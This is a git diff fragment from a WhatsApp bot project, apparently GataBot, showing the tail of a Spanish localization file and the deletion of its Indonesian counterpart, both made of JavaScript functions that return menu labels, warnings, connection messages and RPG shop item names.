-const smsJBConexionTrue2 = () => { return `${lenguajeGB['smsAvisoEG']()}🟢 *CONEXIÓN CON ÉXITO!!! PUEDE CONECTARSE USANDO:*`}
-const smsJBCargando = () => { return `${lenguajeGB['smsAvisoIIG']()}⚪ *ESTÁ CONECTADO(A)!! POR FAVOR ESPERE SE ESTÁ CARGANDO LOS MENSAJES...*\n\n♻️ *OPCIONES DISPONIBLES:*\n*» #stop _(Detener la función Sub Bot)_*\n*» #eliminarsesion _(Borrar todo rastro de Sub Bot)_*\n*» #serbot _(Obtener nuevo código QR para ser Sub Bot)_*`}
-const smsJBInfo1 = () => { return `💖 *ENLACE ÚTIL*`}
-const smsJBInfo2 = () => { return `💖 *La función es estable, sí presenta algún inconveniente Comuníquese al correo: centergatabot@gmail.com*\n💝 *Puede hacer una Donación voluntaria por PayPal: ${global.paypal}*\n\n*Muchas Gracias por el apoyo a ${global.packname}*`}
-
-//jadibot-deleteSesion.js
-const smsJBDel = () => { return `${lenguajeGB['smsAvisoAG']()}*USE ESTE COMANDO AL BOT PRINCIPAL*`}
-const smsJBAdios = () => { return `${lenguajeGB['smsAvisoEG']()}*TE VOY A EXTRAÑAR ${global.packname} CHAOO!! 🥹*`}
-const smsJBCerrarS = () => { return `${lenguajeGB['smsAvisoEG']()}*HA CERRADO SESIÓN Y BORRADO TODO RASTRO*`}
-const smsJBErr = () => { return `*HA CERRADO SESIÓN COMO SUB BOT* ♻️`}
-
-//comandos+18-adult.js
-const smsContAdult = () => { return `${lenguajeGB['smsAvisoAG']()}*LOS COMANDOS 🔞 ESTÁN DESACTIVADOS, SI USTED ES MI CREADOR(A) USE #on modohorny*`}
-
-//comandos+18-menu.js
-const smsList1 = () => { return `No tiene suficiente `}
-const smsList2 = () => { return `\nPresione aquí para comprar `}
-const smsList3 = () => { return `Contenido disponible 😸`}
-const smsList4 = () => { return `Contenido no disponible 😿\nPresione aquí para comprar `}
-const smsList5 = () => { return `*Seleccione una opción*\n*de la lista para ver el*\n*contenido* 😋`}
-const smsList6 = () => { return `👀 VER LISTA 👀`}
-
-//descargas-consejos.js
-const smsConj = () => { return `🍃 NUEVO CONSEJO`}
-const smsFras = () => { return `🍃 NUEVA FRASE`}
-
-//info-contacto.js
-const smsContacto1 = () => { return ' Soy ' + packname + ' un Bot de WhatsApp dedicado en ayudar con lo que me pidas 😎'}
-const smsContacto2 = () => { return 'Soy Owner de ' + packname + ' sí tienes alguna duda me la puedes decir ✌️'}
-const smsContacto3 = () => { return '👑 Owner'}
-const smsContacto4 = () => { return 'Contacto Oficial de GataBot 🐈'}
-const smsContacto5 = () => { return '🐣 ¿Le puedo ayudar en algo?'}
-const smsContacto6 = () => { return 'No tengo correo 🙏'}
-const smsContacto7 = () => { return '🌎 Global'}
-const smsContacto8 = () => { return 'Esta Cuenta es Bot 👀'}
-
-
-export default { lenguaje, smsAvisoRG, smsChatGP1, smsChatGP2, smsChatGP3, smsBCMensaje, smsBCMensaje2, smsBCMensaje3, smsAvisoAG, smsAvisoIIG, smsBCbot1, smsBCbot2, smsBCbot3, smsBCbot4, smsBCbot5, smsBCbot6, smsBCbot7, smsAvisoFG, smsAvisoMG, smsAvisoEEG, smsAvisoEG, smsRowner, smsOwner, smsMods, smsPremium, smsGroup, smsPrivate, smsAdmin, smsBotAdmin, smsUnreg, smsRestrict, smsTime, smsUptime, smsVersion, smsTotalUsers, smsMode, smsModePublic, smsModePrivate, smsBanChats, smsBanUsers, smsPareja, smsResultPareja, smsSaludo, smsDia, smsTarde, smsTarde2, smsNoche, smsListaMenu, smsLista1, smsLista2, smsLista3, smsLista4, smsLista5, smsLista6, smsLista7, smsLista8, smsLista9, smsLista10, smsLista11, smsLista12, smsLista13, smsLista14, smsLista15, smsLista16, smsLista17, smsLista18, smsLista19, smsLista20, smsLista21, smsLista22, smsLista23, smsLista24, smsLista25, smsLista26, smsLista27, smsLista28, smsLista29, smsLista30, smsLista31, smsLista32, smsLista33, smsLista34, smsLista35, smsWelcome, smsBye, smsSpromote, smsSdemote, smsSdesc, smsSsubject, smsSicon, smsSrevoke, smsConexion, smsClearTmp, smsCargando, smspurgeSession, smspurgeOldFiles, smspurgeSessionSB1, smspurgeSessionSB2, smspurgeSessionSB3, smspurgeOldFiles1, smspurgeOldFiles2, smspurgeOldFiles3, smspurgeOldFiles4, smsTextoYT, smsApagar, smsEncender, smsEnlaceTik, smsEnlaceYt, smsEnlaceTel, smsEnlaceFb, smsEnlaceIg, smsEnlaceTw, smsAllAdmin, smsSoloOwner, smsCont1, smsCont2, smsCont3, smsCont4, smsCont5, smsCont6, smsCont7, smsCont8, smsCont9, smsCont10, smsCont11, smsCont12, smsCont13, smsCont14, smsCont15, smsCont16, smsCont17, smsCont18, smsCont19, smsCont20, smsCont21, smsInt1, smsInt2, smsAdwa, smsEnlaceWat, smsEnlaceWatt, smsNoSpam, smsNoSpam2, smsConMenu, smsMalError, smsMalError2, smsMalError3, smsToxic1, smsToxic2, smsToxic3, smsToxic4, smsToxic5, smsToxic6, smsToxic7, eExp, eDiamante, eDiamantePlus, eToken, eEsmeralda, eJoya, eMagia, eOro, eGataCoins, eGataTickers, eEnergia, ePocion, eAgua, eBasura, eMadera, eRoca, ePiedra, eCuerda, eHierro, eCarbon, eBotella, eLata, eCarton, eEletric, eBarraOro, eOroComun, eZorroG, eBasuraG, eLoboG, eMaderaG, eEspada, eCarnada, eBillete, ePinata, eGancho, eCanaPescar, eCComun, ePComun, eCMistica, eCMascota, eCJardineria, eClegendaria, eUva, eManzana, eNaranja, eMango, ePlatano, eSUva, eSManzana, eSNaranja, eSMango, eSPlatano, eCentauro, eAve, eGato, eDragon, eZorro, eCaballo, eFenix, eLobo, ePerro, eAMascots, eCCentauro, eCAve, eCMagica, eCDragon, eACaballo, eCFenix, smsWel1, smsWel2, smsParaAdmins, smsDete1, smsDete2, smsANivel1, smsANivel2, smsParaAdYOw, smsParaOw, smsRestri1, smsRestri2, smsLlamar1, smsLlamar2, smsModP1, smsModP2, smsModAd1, smsModAd2, smsLect1, smsLect2, smsTempo1, smsTempo2, smsStik1, smsStik2, smsStickA1, smsStickA2, smsReacc1, smsReacc2, smsAudi1, smsAudi2, smsModHor1, smsModHor2, smsAntitoc1, smsAntitoc2, smsModOb1, smsModOb2,
-smsAntiEli1, smsAntiEli2, smsAntiInt1, smsAntiInt2, smsAntiE1, smsAntiE2, smsAntiEE1, smsAntiEE2, smsAntiTT1, smsAntiTT2, smsAntiYT1, smsAntiYT2, smsAntiTEL1, smsAntiTEL2, smsAntiFB1, smsAntiFB2, smsAntiIG1, smsAntiIG2, smsAntiTW1, smsAntiTW2, smsSOLOP1, smsSOLOP2, smsSOLOG1, smsSOLOG2, smsNoGg, smsConfi1, smsConfi2, smsConfi3, smsConfi4, smsConfi5, smsConfi6, smsConfi7, smsConfi8, smsConfi9, smsConfi10, smsMens1, smsMens2, smsMens3, smsMens4, smsMens5, smsMensError1, smsMensError2, smsAntiView, smsAutoLv1, smsAutoLv2, smsAutoLv3, smsAutoLv4, smsAutoLv5, smsAutoLv6, smsAutoLv7, smsAntiSp1, smsAntiSp2, smsAutoStik, smsBottem1, smsBottem2, smsBottem3, smsPremI,
-smsAfkM1, smsAfkM2, smsAfkM3, smsAfkM4, smsAfkM5, smsAfkM6, smsAfkM1A, smsAfkM1B, smsChatAn1, smsChatAn2, smsChatAn3, smsChatAn4, smsChatAn5, smsChatAn6, smsChatAn7, smsChatAn8, smsChatAn9, smsChatAn10, smsChatAn11, smsChatAn12, smsChatAn13, smsBotonM1, smsBotonM2, smsBotonM3, smsBotonM4, smsBotonM5, smsBotonM6, smsBotonM7, smsTex1, smsTex2, smsTex3, smsTex4, smsTex5, smsTex6, smsTex7, smsTex8, smsTex9, smsTex10, smsTex11, smsTex12, smsTex13, smsTex14, smsTex15, smsTex16, smsTex17, smsTex18, smsTex19, smsTex20, smsTex21, smsTex22, smsTex23, smsMalused, smsGrupoTime1, smsGrupoTime2, smsGrupoTime3, smsGrupoTime4, smsGrupoTime5, smsGrupoTime6, smsGrupoTime7, smsGrupoTime8, smsGrupoTime9, smsGrupoTime10, smsGrupoTime11, smsGrupoTime12, smsGrupoTime13, smsAddB1, smsAddB2, smsAddB3, smsAddB4, smsAddB5, smsAddB6, smsAdveu1, smsMalused2, smsAdveu2, smsAdveu3, smsAdveu4, smsAdveu5, smsAdveu6, smsAdveu7, smsAdveu8, smsAdveu9, smsMalused3, smsAdveu10, smsAdveu11, smsAdveu12, smsDemott, smsDemott2, smsDemott3,
-smsGI1, smsGI2, smsGI3, smsGI4, smsGI5, smsGI6, smsGI7, smsGI8, smsGI9, smsGI10, smsLista22_1, smsCodigoQR, smsConexionOFF, smskick1, smskick2, smskick3, smskick4, smstagaa,
-smsSetB, smsSetB2, smsSetW, smsSetW2, smsDest, smsNam1, smsNam2, smsNam3, smsRestGp, smsSig, smsSigPrem, smsCont18Porn, smsCont18Porn2, smsCont18PornP, smsCont18PornP2,
-smsIniJadi, smsSoloOwnerJB, smsJBPrincipal, smsJBConexion, smsJBConexionClose, smsJBConexionTrue, smsJBConexionTrue2, smsJBCargando, smsJBInfo1, smsJBInfo2, smsJBDel, smsJBAdios,
-smsJBCerrarS, smsJBErr, smsContAdult, smsList1, smsList2, smsList3, smsList4, smsList5, smsList6, smsConj, smsFras, smsContacto1, smsContacto2, smsContacto3, smsContacto4,
-smsContacto5, smsContacto6, smsContacto7, smsContacto8 };
diff --git a/lib/idiomas/indonesio.js b/lib/idiomas/indonesio.js
deleted file mode 100644
index e70a3722c..000000000
--- a/lib/idiomas/indonesio.js
+++ /dev/null
@@ -1,615 +0,0 @@
-const lenguaje = () => { return 'id' } //Bahasa Indonesia
-
-//PEMBERITAHUAN PESAN
-const smsAvisoRG = () => { return `╰⊱✅⊱ *HASIL* ⊱✅⊱╮\n\n` }
-const smsAvisoAG = () => { return `╰⊱⚠️⊱ *PERINGATAN* ⊱⚠️⊱╮\n\n` }
-const smsAvisoIIG = () => { return `╰⊱❕⊱ *INFORMASI* ⊱❕⊱╮\n\n` }
-const smsAvisoFG = () => { return `╰⊱❌⊱ *KESALAHAN* ⊱❌⊱╮\n\n` }
-const smsAvisoMG = () => { return `╰⊱❗️⊱ *TINDAKAN BURUK* ⊱❗️⊱╮\n\n` }
-const smsAvisoEEG = () => { return `╰⊱📩⊱ *LAPORAN* ⊱📩⊱╮\n\n` }
-const smsAvisoEG = () => { return `╰⊱💚⊱ *KESUKSESAN* ⊱💚⊱╮\n\n` }
-
-//PARAMETER DALAM PERINTAH
-const smsRowner = () => { return `\`\`\`¡¡PERINTAH INI HANYA SAYA SEBAGAI PENCIPTA BOT YANG BISA MENGGUNAKANNYA!!\`\`\`` }
-const smsOwner = () => { return `\`\`\`¡¡PERINTAH INI HANYA KREATOR SAYA YANG BISA MENGGUNAKANNYA!!\`\`\`` }
-const smsMods = () => { return `\`\`\`¡¡PERINTAH INI HANYA MODERATOR DAN PENCIPTA SAYA YANG BISA MENGGUNAKANNYA!!\`\`\`` }
-const smsPremium = () => { return `\`\`\`¡¡PERINTAH INI HANYA TERSEDIA UNTUK PENGGUNA PREMIUM DAN PENCIPTA SAYA!! UNTUK MENDAPATKAN PREMIUM, BELI PASS MENGGUNAKAN #pass premium\`\`\`` }
-const smsGroup = () => { return `\`\`\`¡¡PERINTAH INI HANYA DAPAT DIGUNAKAN DALAM GRUP!!\`\`\`` }
-const smsPrivate = () => { return `\`\`\`¡¡COMMAND INI HANYA DAPAT DIGUNAKAN UNTUK PRIVATE!!\`\`\`` }
-const smsAdmin = () => { return `\`\`\`¡¡PERINTAH INI HANYA UNTUK ADMIN!!\`\`\`` }
-const smsBotAdmin = () => { return `\`\`\`¡¡SAYA PERLU MENJADI ADMIN SEHINGGA ANDA BISA MENGGUNAKAN COMMAND INI!!\`\`\`` }
-const smsUnreg = () => { return `\`\`\`¡¡ANDA HARUS DAFTAR UNTUK MENGGUNAKAN COMMAND INI, KETIK #verify UNTUK DAFTAR!!\`\`\`` }
-const smsRestrict = () => { return `\`\`\`¡¡PERINTAH INI DIBATASI OLEH PENCIPTA SAYA!!\`\`\`` }
-
-//DAFTAR MENU
-const smsTime = () => { return `Waktu saat ini`}
-const smsUptime = () => { return `Berjalan Selama`}
-const smsVersion = () => { return `Versi dari ${global.packname}`}
-const smsTotalUsers = () => { return `Jumlah Pengguna`}
-const smsMode = () => { return `Sedang dalam mode`}
-const smsModePublic = () => { return `PUBLIK`}
-const smsModePrivate = () => { return `PRIBADI`}
-const smsBanChats = () => { return `Obrolan Terlarang`}
-const smsBanUsers = () => { return `Pengguna yang Diblokir`}
-const smsPareja = () => { return `Pasangan`}
-const smsResultPareja = () => { return `Lajang`}
-const smsSaludo = () => { return `👋 HALO! SELAMAT DATANG 👋`}
-const smsDia = () => { return `🌇 Selamat pagi ⛅`}
-const smsTarde = () => { return `🏙️ Selamat malam 🌤️`}
-const smsTarde2 = () => { return `🌆 Selamat malam 🌥️`}
-const smsNoche = () => { return `🌃 Selamat malam 💫`}
-const smsListaMenu = () => { return `⊹ DAFTAR MENU ⊹`}
-const smsLista1 = () => { return `🌟 INFORMASI GATABOT 🌟`}
-const smsLista2 = () => { return `💖 PENCIPTA 💖`}
-const smsLista3 = () => { return `🎁 DONASI: DUKUNGAN 🎁`}
-const smsLista4 = () => { return `🚀 KECEPATAN 🚀`}
-const smsLista5 = () => { return `💡 INFORMASI MENU 💡`}
-const smsLista6 = () => { return `🌀 MENU LENGKAP 🌀`}
-const smsLista7 = () => { return `🐈 PASANG GATABOT 🐈`}
-const smsLista8 = () => { return `🍄 JADILAH SUBBOT 🍄`}
-const smsLista9 = () => { return `📄 SYARAT, KETENTUAN DAN PRIVASI 📄`}
-const smsLista10 = () => { return `🌟 PETUALANGAN DAN TOP 🌟`}
-const smsLista11 = () => { return `🏆 TOP DUNIA 🏆`}
-const smsLista12 = () => { return `🏅 PENGGUNA PREMIUM 🏅`}
-const smsLista13 = () => { return `🎟️ JADILAH PENGGUNA PREMIUM 🎟️`}
-const smsLista14 = () => { return `🛣️ MISI 🛣️`}
-const smsLista15 = () => { return `⚗️ MENU RPG ⚗️`}
-const smsLista16 = () => { return `🏪 PEMBELIAN TOKO 🏪`}
-const smsLista17 = () => { return `🎒 INVENTARIS 🎒`}
-const smsLista18 = () => { return `🌟 MULTIMEDIA 🌟`}
-const smsLista19 = () => { return `📲 UNDUH MENU 📲`}
-const smsLista20 = () => { return `🔍 MENU CARI 🔍`}
-const smsLista21 = () => { return `🛰️ MENU KONVERTER 🛰️`}
-const smsLista22 = () => { return `🧰 MENU PENGUBAH AUDIO 🧰`}
-const smsLista22_1 = () => { return `🔩 MENU ALAT 🔩`}
-const smsLista23 = () => { return `🌟 SERU 🌟`}
-const smsLista24 = () => { return `🎡 GAME DINAMIS 🎡`}
-const smsLista25 = () => { return `🔊 MENU AUDIO 🔊`}
-const smsLista26 = () => { return `🎈 MENU STIKER DAN FILTER 🎈`}
-const smsLista27 = () => { return `✨ MENU EFEK DAN LOGO ✨`}
-const smsLista28 = () => { return `🌅 LOGO MENU 2 🌅`}
-const smsLista29 = () => { return `⛩️ MEME DAN ANIME RANDOM ⛩️`}
-const smsLista30 = () => { return `🔞 PERINTAH UNTUK DEWASA +18 🔞`}
-const smsLista31 = () => { return `🌟 PENGATURAN 🌟`}
-const smsLista32 = () => { return `🔰 MENU UNTUK GRUP 🔰`}
-const smsLista33 = () => { return `📑 JENIS DAFTAR 📑`}
-const smsLista34 = () => { return `⚙️ PUSAT KONFIGURASI ⚙️`}
-const smsLista35 = () => { return `💎 PEMILIK MENU 💎`}
-
-//main.js
-const smsWelcome = () => { return `*╭┈⊰* @subject *⊰┈ ✦*\n*┊✨ SELAMAT DATANG!!*\n┊💖 @user\n┊📄 *BACA DESKRIPSI GRUP*\n*╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ ✦*\n${String.fromCharCode(8206).repeat(850)}\n@desc`}
-const smsBye = () => { return '*╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈⊰*\n┊ @user\n┊ *DIA MENINGGALKAN GRUP, SEGERA KEMBALI* 😎\n*╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈⊰*'}
-const smsSpromote = () => { return '*@user ANDA SEKARANG ADMIN DI GRUP INI!!*'}
-const smsSdemote = () => { return '*@user TIDAK ADA LAGI ADMIN DI GRUP INI!!*'}
-const smsSdesc = () => { return '*DESKRIPSI BARU GRUP ADALAH:*\n\n@desc'}
-const smsSsubject = () => { return '*NAMA BARU GRUP ADALAH:*\n\n@subject'}
-const smsSicon = () => { return '*FOTO GRUP INI SUDAH DIUBAH!!*'}
-const smsSrevoke = () => { return '*SEKARANG INI LINK BARU DARI GRUP INI!!*\n\n*@revoke*'}
-const smsConexion = () => { return `\n𓃠 ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈✦ 🟢 KONEKSI ✦┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ 𓃠\n│\n│★ SUKSES KONEKSI DENGAN WHATSAPP 😺\n│\n𓃠 ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈✦ ✅ ✦┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ 𓃠`}
-const smsCargando = () => { return `😸 MEMUAT...\n`}
-const smsCodigoQR = () => { return `\n✅ PINDAI KODE QR BERAKHIR DALAM 45 DETIK ✅`}
-const smsConexionOFF = () => { return `\n⚠️ TIDAK ADA KONEKSI, HAPUS FOLDER ${global.authFile} DAN PINDAI KODE QR ⚠️`}
-const smsClearTmp = () => { return `\n╭» 🟢 MULTIMEDIA 🟢\n│→ FILE DARI FOLDER TMP DIHAPUS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSession = () => { return `\n╭» 🔵 ${global.authFile} 🔵\n│→ SESI NON-ESENSIAL DIHILANGKAN\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeOldFiles = () => { return `\n╭» 🟠 FILE 🟠\n│→ FILE SISA DIHAPUS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB1 = () => { return `\n╭» 🟡 GataJadiBot 🟡\n│→ TIDAK ADA YANG DIHAPUS \n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB2 = () => { return `\n╭» ⚪ GataJadiBot ⚪\n│→ FILE NON-ESENSIAL DIHAPUS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB3 = () => { return `\n╭» 🔴 GataJadiBot 🔴\n│→ TERJADI KESALAHAN\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️\n`}
-const smspurgeOldFiles1 = () => { return `\n╭» 🟣 FILE 🟣\n│→`}
-const smspurgeOldFiles2 = () => { return `HAPUS BERHASIL\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeOldFiles3 = () => { return `\n╭» 🔴 FILE 🔴\n│→`}
-const smspurgeOldFiles4 = () => { return `GAGAL DIHAPUS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️❌\n`}
-const smsConexioncerrar = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☹\n┆ ⚠️ SAMBUNGAN TERTUTUP, SAMBUNGAN KEMBALI....\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☹`}
-const smsConexionperdida = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☂\n┆ ⚠️ HILANG KONEKSI DENGAN SERVER, MENGHUBUNGKAN KEMBALI....\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☂`}
-const smsConexionreem = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✗\n┆ ⚠️ KONEKSI DIGANTI, SESI BARU LAIN SUDAH DIBUKA, HARAP TUTUP SESI SAAT INI TERLEBIH DAHULU.\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✗`}
-const smsConexionreinicio = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✓\n┆ ❇️ MENGHUBUNGKAN KE SERVER...\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✓`}
-const smsConexiontiem = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ▸\n┆ ⌛ WAKTU SAMBUNGAN HABIS, SAMBUNGAN KEMBALI....\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ▸`}
-const smsConexiondescon = (reason, connection) => { return `\n⚠️❗ ALASAN PEMUTUSAN TIDAK DIKETAHUI: ${reason || ''} >> ${connection || ''}`}
-const smsMainBot = () => { return "'main.js' BERHASIL DIPERBARUI"}
-
-//_allantilink.js
-const smsTextoYT = () => { return '😻 Super GataBot-MD - WhatsApp '}
-const smsApagar = () => { return '❌ MENONAKTIFKAN'}
-const smsEncender = () => { return '✅ MENGAKTIFKAN'}
-const smsEnlaceTik = () => { return `*LINK TIKTOK YANG DILARANG TERDETEKSI DI GRUP INI*\n\n*SAYA LANJUTKAN UNTUK MENGHAPUS ANDA*`}
-const smsEnlaceYt = () => { return `*LINK YOUTUBE YANG DILARANG TERDETEKSI DI GRUP INI*\n\n*SAYA LANJUTKAN UNTUK MENGHAPUS ANDA*`}
-const smsEnlaceTel = () => { return `*LINK TELEGRAM YANG DILARANG TERDETEKSI DI GRUP INI*\n\n*SAYA LANJUTKAN UNTUK MENGHAPUS ANDA*`}
-const smsEnlaceFb = () => { return `*LINK FACEBOOK TERBANNED TERDETEKSI DI GRUP INI*\n\n*SAYA LANJUTKAN UNTUK MENGHAPUS ANDA*`}
-const smsEnlaceIg = () => { return `*LINK INSTAGRAM TERBANNED TERDETEKSI DI GRUP INI*\n\n*SAYA LANJUTKAN UNTUK MENGHAPUS ANDA*`}
-const smsEnlaceTw = () => { return `*TAUTAN TWITTER YANG DILARANG TERDETEKSI DI GRUP INI*\n\n*SAYA LANJUTKAN UNTUK MENGHAPUS ANDA*`}
-const smsAllAdmin = () => { return `*SAYA PERLU MENJADI ADMIN UNTUK DAPAT MENGHAPUS PENYUSU*`}
-const smsSoloOwner = () => { return `*KREATOR SAYA HARUS MENGAKTIFKAN FUNGSINYA*\n*#on restrict*`}
-
-//handler.js
-const smsCont1 = () => { return `*🔴 PERINTAH GAGAL 🔴*`}
-const smsCont2 = () => { return `*⚠️ PLUGIN:*`}
-const smsCont3 = () => { return `*⚠️ PENGGUNA:*`}
-const smsCont4 = () => { return `*⚠️ MEMERINTAH:*`}
-const smsCont5 = () => { return `*⚠️ KESALAHAN:*`}
-const smsCont6 = () => { return `*❗ LAPORAN PESAN INI MENGGUNAKAN COMMAND #reporte UNTUK MEMECAHKANNYA*`}
-const smsCont7 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*TIDAK MEMILIKI BERLIAN!! 💎 ANDA DAPAT PERGI KE TOKO DENGAN PERINTAH*`}
-const smsCont8 = () => { return ` *BERLIAN 💎 DIGUNAKAN*`}
-const smsCont9 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*BUTUH TINGKATNYA ➡️*`}
-const smsCont10 = () => { return `*UNTUK MENGGUNAKAN PERINTAH INI. TINGKAT ANDA SAAT INI ADALAH ➡️*`}
-const smsCont11 = () => { return `*PERBARUI DENGAN PERINTAH*`}
-const smsCont12 = () => { return `GRUP BESAR!! 😼`}
-const smsCont13 = () => {return `ADA YANG BERGABUNG!! 🥳`}
-const smsCont14 = () => { return `SESEORANG TINGGAL!! 🧐`}
-const smsCont15 = () => { return `*HALO*`}
-const smsCont16 = () => { return `*PANGGILAN VIDEO* 📲`}
-const smsCont17 = () => { return `*PANGGILAN* 📞`}
-const smsCont18 = () => { return `*MEREKA TIDAK BERWENANG JADI SAYA AKAN MEMBLOKIR ANDA*\n\n*JIKA ANDA TERPANGGIL SECARA KECELAKAAN HUBUNGI ORANG PENCIPTA BOT INI*`}
-const smsCont19 = () => { return `ANTI HAPUS`}
-const smsCont20 = () => { return `*┃✤ Nama:*`}
-const smsCont21 = () => { return `*┃✤ Mengirim pesan yang dihapus...*`}
-
-//_anti-internacional.js
-const smsInt1 = () => { return `*NOMOR INI*`}
-const smsInt2 = () => { return `*TIDAK DIPERBOLEHKAN DI GRUP INI!!*`}
-
-//_antilink.js
-const smsAdwa = () => { return `${global.lenguajeGB['smsAvisoEG']()}*SEBAGAI ANDA ADMIN DI GRUP INI ANDA TIDAK AKAN DIHAPUS*`}
-const smsEnlaceWat = () => { return `${lenguajeGB['smsAvisoAG']()}*LINK WHATSAPP TERBANNED TERDETEKSI DI GRUP INI*\n\n*SAYA LANJUTKAN UNTUK MENGHAPUS ANDA*`}
-
-//_antilink2.js
-const smsEnlaceWatt = () => { return `${lenguajeGB['smsAvisoAG']()}LINK TERLARANG MENGANDUNG HTTPS TERDETEKSI DI GRUP INI\n\nSAYA LANJUTKAN UNTUK MENGHAPUS ANDA`}
-
-//_antispam.js
-const smsNoSpam = () => { return `🤨 JANGAN SPAM, ANDA TIDAK AKAN DAPAT MENGGUNAKAN ${global.packname} UNTUK ${60000 / 1000 - 59} MENIT`}
-
-//_antispam_.js
-const smsNoSpam2 = () => { return `DIBATALKAN SETELAH ${60000 / 1000 - 59} MENIT. TOLONG JANGAN SPAM!!`}
-
-//teks
-const smsConMenu = () => { return `☘️ MENU`}
-
-//Kesalahan
-const smsMalError = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`SEBUAH KESALAHAN YANG TIDAK TERDUGA TELAH TERJADI.\`\`\``}
-const smsMalError2 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`KENYAMANAN TELAH TIMBUL. COBA LAGI.\`\`\``}
-const smsMalError3 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`ADA YANG SALAH, LAPORAN PERINTAH INI MENGGUNAKAN:\`\`\`\n`}
-
-//_antitoxic.js
-const smsToxic1 = () => { return `TIDAK!!! 🤬 KATAKAN KATA INI`}
-const smsToxic2 = () => { return `DILARANG JANGAN TOXIC`}
-const smsToxic3 = () => { return `*PERINGATAN*\n⚠️`}
-const smsToxic4 = () => { return `😭 SAYA MINTA MAAF`}
-const smsToxic5 = () => { return `☢️ NONAKTIFKAN ANTITOXIC`}
-const smsToxic6 = () => { return `SAYA PERINGATKAN KALIAN BEBERAPA KALI!!`}
-const smsToxic7 = () => { return `ANDA LULUS SEMUA 4 PERINGATAN SEKARANG ANDA AKAN DIHAPUS 🙄`}
-
-//Toko
-const eExp = () => { return '⚡ Experience' }
-const eDiamante = () => { return '💎 Diamond' }
-const eDiamantePlus = () => { return '💎+ Diamond+' }
-const eToken = () => { return '🪙 Token' }
-const eEsmeralda = () => { return '💚 Emerald' }
-const eJoya = () => { return '♦️ Jewel' }
-const eMagia = () => { return '🌀 Magic' }
-const eOro = () => { return '👑 Gold' }
-const eGataCoins = () => { return '🐱 GataCoins' }
-const eGataTickers = () => { return '🎫 Gata Tickers' }
-const eEnergia = () => { return '✨ Energy' }
-
-const ePocion = () => { return '🥤 Potion' }
-const eAgua = () => { return '💧 Water' }
-const eBasura = () => { return '🗑 Trash' }
-const eMadera = () => { return '🪵 Wood' }
-const eRoca = () => { return '🪨 Rock' }
-const ePiedra = () => { return '🥌 Stone' }
-const eCuerda = () => { return '🕸️ String' }
-const eHierro = () => { return '⛓️ Iron' }
-const eCarbon = () => { return '⚱️ Coal' }
-const eBotella = () => { return '🍶 Bottle' }
-const eLata = () => { return '🥫 Can' }
-const eCarton = () => { return '🪧 Paperboard' }
-
-const eEletric = () => { return '💡 Electricity' }
-const eBarraOro = () => { return '〽️ Gold bar' }
-const eOroComun = () => { return '🧭 Common Gold' }
-const eZorroG = () => { return '🦊🌫️ Big Fox' }
-const eBasuraG = () => { return '🗑🌫️ Super Trash' }
-const eLoboG = () => { return '🐺🌫️ Super Wolf' }
-const eMaderaG = () => { return '🛷🌫️ Super Wood' }
-const eEspada = () => { return '⚔️ Sword' }
-const eCarnada = () => { return '🪱 Bait' }
-const eBillete = () => { return '💵 Banknotes' }
-const ePinata = () => { return '🪅 Pinata' }
-const eGancho = () => { return '🪝 Hook' }
-const eCanaPescar = () => { return '🎣 Fishing Rod' }
-
-const eCComun = () => { return '📦 Common Box' }
-const ePComun = () => { return '🥡 Uncommon Box' }
-const eCMistica = () => { return '🗳️ Mythic Box' }
-const eCMascota = () => { return '📫 Pet Box' }
-const eCJardineria = () => { return '💐 Gardening Box' }
-const eClegendaria = () => { return '🎁 Legendary Box' }
-
-const eUva = () => { return '🍇 Grape' }
